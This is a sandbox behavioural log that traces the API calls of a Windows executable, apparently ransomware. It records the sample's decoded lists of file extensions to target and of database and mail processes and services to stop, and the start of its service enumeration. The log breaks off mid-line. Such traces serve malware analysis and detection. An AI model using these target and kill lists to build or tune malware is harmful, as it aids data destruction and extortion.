# Flog Txt Version 1 # Analyzer Version: 3.1.2 # Analyzer Build Date: Oct 28 2019 11:51:53 # Log Creation Date: 12.11.2019 03:45:07.523 Process: id = "1" image_name = "windowssystem32file.pe32.exe" filename = "c:\\users\\fd1hvy\\desktop\\windowssystem32file.pe32.exe" page_root = "0x114d3000" os_pid = "0xda8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\WindowsSystem32file.pe32.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xdac [0052.262] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0052.262] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0052.262] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0 [0052.262] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0052.262] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0052.262] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500 [0052.262] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40 [0052.262] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0052.262] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesW") returned 0x75efef10 [0052.263] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0052.263] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0052.263] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameW") returned 0x75ed32c0 [0052.314] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameA") returned 0x75ed3780 [0052.314] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70 [0052.314] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70 [0052.314] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0052.315] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10 [0052.315] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0052.315] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDrives") returned 0x75ea0d20 [0052.315] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0052.315] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40 [0052.315] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0052.316] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0 [0052.316] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0052.316] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0052.316] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0052.316] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0052.316] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0 [0052.316] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0052.316] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForMultipleObjects") returned 0x75efec80 [0052.316] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiW") returned 0x75ea6bf0 [0052.316] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiA") returned 0x75ea6bd0 [0052.316] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseMutex") returned 0x75efec20 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersion") returned 0x75ea56c0 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ea4a40 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceFrequency") returned 0x75ea5dc0 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="SetHandleInformation") returned 0x75efeae0 [0052.317] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0052.318] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430 [0052.318] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410 [0052.318] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0 [0052.318] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0052.318] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTime") returned 0x75ea54e0 [0052.318] GetProcAddress (hModule=0x75e90000, lpProcName="SystemTimeToFileTime") returned 0x75ea67a0 [0052.318] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0052.318] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0 [0052.318] GetProcAddress (hModule=0x75e90000, lpProcName="Process32NextW") returned 0x75edf8f0 [0052.318] GetProcAddress (hModule=0x75e90000, lpProcName="Process32FirstW") returned 0x75edf750 [0052.318] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0056.765] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580 [0056.765] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0 [0056.766] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530 [0056.766] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0056.766] GetProcAddress (hModule=0x761b0000, lpProcName="OpenProcessToken") returned 0x761cefb0 [0056.766] GetProcAddress (hModule=0x761b0000, lpProcName="GetTokenInformation") returned 0x761cee90 [0056.766] GetProcAddress (hModule=0x761b0000, lpProcName="OpenSCManagerW") returned 0x761d0540 [0056.766] GetProcAddress (hModule=0x761b0000, lpProcName="OpenServiceW") returned 0x761cfa20 [0056.766] GetProcAddress (hModule=0x761b0000, lpProcName="CloseServiceHandle") returned 0x761cfc00 [0056.766] GetProcAddress (hModule=0x761b0000, lpProcName="ControlService") returned 0x761e26d0 [0056.766] GetProcAddress (hModule=0x761b0000, lpProcName="QueryServiceStatus") returned 0x761d2380 [0056.766] GetProcAddress (hModule=0x761b0000, lpProcName="EnumDependentServicesW") returned 0x761e2f70 [0056.767] GetProcAddress (hModule=0x761b0000, lpProcName="EnumServicesStatusExW") returned 0x761cfc80 [0056.767] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0062.996] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0062.996] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76480000 [0073.770] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteExW") returned 0x765e4730 [0073.771] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bb0000 [0073.771] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0073.771] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74500000 [0073.999] GetProcAddress (hModule=0x74500000, lpProcName="WNetCloseEnum") returned 0x74502640 [0073.999] GetProcAddress (hModule=0x74500000, lpProcName="WNetOpenEnumW") returned 0x74502790 [0073.999] GetProcAddress (hModule=0x74500000, lpProcName="WNetEnumResourceW") returned 0x74502410 [0073.999] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x746a0000 [0074.358] GetProcAddress (hModule=0x746a0000, lpProcName="WSAStartup") returned 0x746a5b40 [0074.358] GetProcAddress (hModule=0x746a0000, lpProcName="socket") returned 0x746b4510 [0074.358] GetProcAddress (hModule=0x746a0000, lpProcName="send") returned 0x746a5030 [0074.359] GetProcAddress (hModule=0x746a0000, lpProcName="recv") returned 0x746b0c50 [0074.359] GetProcAddress (hModule=0x746a0000, lpProcName="connect") returned 0x746a5410 [0074.359] GetProcAddress (hModule=0x746a0000, lpProcName="closesocket") returned 0x746b0910 [0074.359] GetProcAddress (hModule=0x746a0000, lpProcName="gethostbyname") returned 0x746d6cb0 [0074.359] GetProcAddress (hModule=0x746a0000, lpProcName="inet_addr") returned 0x746b9160 [0074.359] GetProcAddress (hModule=0x746a0000, lpProcName="ntohl") returned 0x746a49d0 [0074.359] GetProcAddress (hModule=0x746a0000, lpProcName="htonl") returned 0x746a49d0 [0074.360] GetProcAddress (hModule=0x746a0000, lpProcName="htons") returned 0x746b8ff0 [0074.360] GetProcessHeap () returned 0x440000 [0074.360] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x20) returned 0x44ade0 [0074.360] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=16493018460) returned 1 [0074.360] GetTickCount () returned 0x1152c9a [0074.360] GetCurrentProcessId () returned 0xda8 [0074.362] GetTickCount () returned 0x1152c9a [0074.362] GetTickCount () returned 0x1152c9a [0074.362] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x20) returned 0x44ae08 [0074.362] GetVersion () returned 0x23f00206 [0074.362] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x7) returned 0x455c50 [0074.362] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x457780 [0074.362] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x457780, Size=0x20) returned 0x44af48 [0074.362] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x44af48, Size=0x40) returned 0x45a868 [0074.362] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x45efe8 [0074.363] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E0Y279A") returned 0x0 [0074.363] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_E0Y279A") returned 0x1ec [0074.363] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455c50 | out: hHeap=0x440000) returned 1 [0074.363] lstrlenW (lpString="Global\\syncronize_") returned 18 [0074.363] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45a868 | out: hHeap=0x440000) returned 1 [0074.363] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x7) returned 0x455bd0 [0074.363] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x457648 [0074.363] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x457648, Size=0x20) returned 0x44af48 [0074.363] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x44af48, Size=0x40) returned 0x45a8b0 [0074.363] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x46eff0 [0074.364] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E0Y279U") returned 0x0 [0074.364] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_E0Y279U") returned 0x1f0 [0074.364] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455bd0 | out: hHeap=0x440000) returned 1 [0074.364] lstrlenW (lpString="Global\\syncronize_") returned 18 [0074.364] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45a8b0 | out: hHeap=0x440000) returned 1 [0074.364] GetVersion () returned 0x23f00206 [0074.364] GetCurrentProcess () returned 0xffffffff [0074.364] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0074.364] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0074.364] CloseHandle (hObject=0x1f4) returned 1 [0074.364] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0074.364] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x14) returned 0x456560 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x457690 [0074.365] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x457690, Size=0x20) returned 0x44af48 [0074.365] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x44af48, Size=0x40) returned 0x45afb8 [0074.365] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45afb8, Size=0x80) returned 0x452460 [0074.365] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x452460, Size=0x100) returned 0x4573f8 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x34) returned 0x459be0 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x455c50 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x455bd0 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x455cc0 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x457780 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x455c60 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x457798 [0074.365] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x455c60, Size=0x8) returned 0x455cf0 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x457570 [0074.365] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x455cf0, Size=0x10) returned 0x457600 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x457618 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x457630 [0074.365] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x457600, Size=0x20) returned 0x44af48 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x457600 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x457648 [0074.365] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x455c50, Size=0x8) returned 0x455cf0 [0074.365] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x455bd0, Size=0x8) returned 0x455d10 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x455b70 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x457660 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x455bd0 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x457690 [0074.365] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x455bd0, Size=0x8) returned 0x455c50 [0074.365] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x457888 [0074.366] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x455c50, Size=0x10) returned 0x457870 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x457918 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x455bd0 [0074.366] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x457870, Size=0x20) returned 0x47f5a0 [0074.366] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x455cf0, Size=0x10) returned 0x4578a0 [0074.366] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x455d10, Size=0x10) returned 0x457858 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x455c50 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x457870 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x455c60 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4578b8 [0074.366] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x455c60, Size=0x8) returned 0x455cf0 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x455c60 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4578d0 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x455d10 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x4578e8 [0074.366] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x455d10, Size=0x8) returned 0x47fb70 [0074.366] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4578a0, Size=0x20) returned 0x47f6b8 [0074.366] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x457858, Size=0x20) returned 0x47f7a8 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8) returned 0x47fb80 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x457900 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x47fbd0 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xa) returned 0x457858 [0074.366] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47fbd0, Size=0x8) returned 0x47fb50 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x14) returned 0x4566c0 [0074.366] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x14) returned 0x456680 [0074.366] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0074.366] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4573f8 | out: hHeap=0x440000) returned 1 [0074.367] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0074.373] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4578a0 [0074.373] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4578a0, Size=0x20) returned 0x47f5f0 [0074.373] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f5f0, Size=0x40) returned 0x45af70 [0074.373] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45af70, Size=0x80) returned 0x457e08 [0074.373] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x457e08, Size=0x100) returned 0x4573f8 [0074.373] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4578a0 [0074.373] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4578a0, Size=0x20) returned 0x47f5f0 [0074.373] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f5f0, Size=0x40) returned 0x45abc8 [0074.373] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45abc8, Size=0x80) returned 0x457e08 [0074.373] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x457e08, Size=0x100) returned 0x4840a8 [0074.373] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x4578a0 [0074.373] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x47fa70 [0074.373] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4845a0 [0074.373] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47fa70, Size=0x8) returned 0x47fba0 [0074.373] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x14) returned 0x4565e0 [0074.373] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47fba0, Size=0x10) returned 0x4844f8 [0074.373] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x18) returned 0x456660 [0074.373] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1a) returned 0x47f528 [0074.374] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4844f8, Size=0x20) returned 0x47f6e0 [0074.374] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1c) returned 0x47f7d0 [0074.374] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x16) returned 0x4565a0 [0074.374] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1a) returned 0x47f618 [0074.374] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x484558 [0074.374] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x4) returned 0x47fba0 [0074.374] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40) returned 0x45aaa8 [0074.374] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47fba0, Size=0x8) returned 0x47fb10 [0074.374] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x3c) returned 0x45af70 [0074.374] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47fb10, Size=0x10) returned 0x484570 [0074.374] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x14) returned 0x456640 [0074.374] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x18) returned 0x4564c0 [0074.374] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484570, Size=0x20) returned 0x47f5c8 [0074.374] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x24) returned 0x4553a8 [0074.374] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0074.374] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4573f8 | out: hHeap=0x440000) returned 1 [0074.374] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0074.374] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4840a8 | out: hHeap=0x440000) returned 1 [0074.374] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f5f0 [0074.380] EnumServicesStatusExW (in: hSCManager=0x47f5f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0074.384] GetLastError () returned 0xea [0074.384] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d5a) returned 0x4863a0 [0074.384] EnumServicesStatusExW (in: hSCManager=0x47f5f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4863a0, cbBufSize=0x1d5a, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4863a0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0074.386] CloseServiceHandle (hSCObject=0x47f5f0) returned 1 [0074.386] lstrlenW (lpString="Appinfo") returned 7 [0074.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0074.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0074.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0074.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0074.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0074.389] lstrlenW (lpString="AppXSvc") returned 7 [0074.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0074.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0074.389] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0074.389] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0074.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0074.389] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0074.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0074.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0074.389] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0074.389] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0074.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0074.390] lstrlenW (lpString="Audiosrv") returned 8 [0074.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0074.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0074.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0074.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0074.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0074.390] lstrlenW (lpString="BFE") returned 3 [0074.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0074.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0074.390] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0074.390] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0074.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0074.390] lstrlenW (lpString="BITS") returned 4 [0074.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0074.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0074.390] 